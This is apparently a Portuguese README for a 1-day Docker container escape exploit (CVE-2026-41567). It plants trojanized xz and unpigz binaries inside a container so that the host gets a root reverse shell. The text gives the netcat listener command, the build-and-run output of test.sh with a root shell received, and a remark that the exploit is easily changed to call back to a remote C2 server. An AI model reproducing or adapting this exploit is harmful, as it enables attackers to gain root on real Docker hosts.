
Explora o CVE-2026-41567, escape do Docker usando binários xz/unpigz trojanizados para obter um shell root no host a partir de dentro de um contêiner.
Um 1day para Docker Escape CVE-2026-41567.
É uma demonstração de escape de docker usando xz / unpigz trojanizados.
Pode ser facilmente modificado para uso remoto (ou seja, basta modificar o IP padrão do docker para um C2 remoto).
Mais informações sobre o exploit aqui
Execute um netcat escutando na porta 50005 no host
ubuntu@ubuntu-noble:~/CVE-2026-41567$ nc -vlp 50005
Listening on 0.0.0.0 50005
Connection received on ubuntu-noble 35722
# whoami
root
# cat /etc/hostname
ubuntu-noble
# exit
Em seguida, execute o script test.sh.
Se o exploit estiver funcionando, você obterá um shell root imediatamente.
ubuntu@ubuntu-noble:~/CVE-2026-41567$ sudo ./test.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 19.97kB
Step 1/7 : FROM debian
---> 34cd9e9fd437
Step 2/7 : RUN apt update && apt install -y ncat
---> Using cache
---> c85c9eb10bff
Step 3/7 : COPY exploit.sh /usr/bin/xz
---> Using cache
---> b84efa8058e7
Step 4/7 : RUN chmod +x /usr/bin/xz
---> Using cache
---> 423b0e1891a6
Step 5/7 : COPY exploit.sh /usr/bin/unpigz
---> Using cache
---> 74eff85cf988
Step 6/7 : RUN chmod +x /usr/bin/unpigz
---> Using cache
---> 2f773fa12931
Step 7/7 : CMD [ "sleep", "9999999" ]
---> Using cache
---> 7b99f12dbe8d
Successfully built 7b99f12dbe8d
Successfully tagged cve-2026-41567:latest
cve-2026-41567
5679a4dc643c65a20039de693fad1f1caeea7fe5760b5c4049d1d4f37f5ab825
tar: Removing leading `/' from member names
/etc/hosts
Successfully copied 0B to cve-2026-41567:/tmp
Observe que você precisa ter privilégios para falar com o daemon do Docker (normalmente sendo root).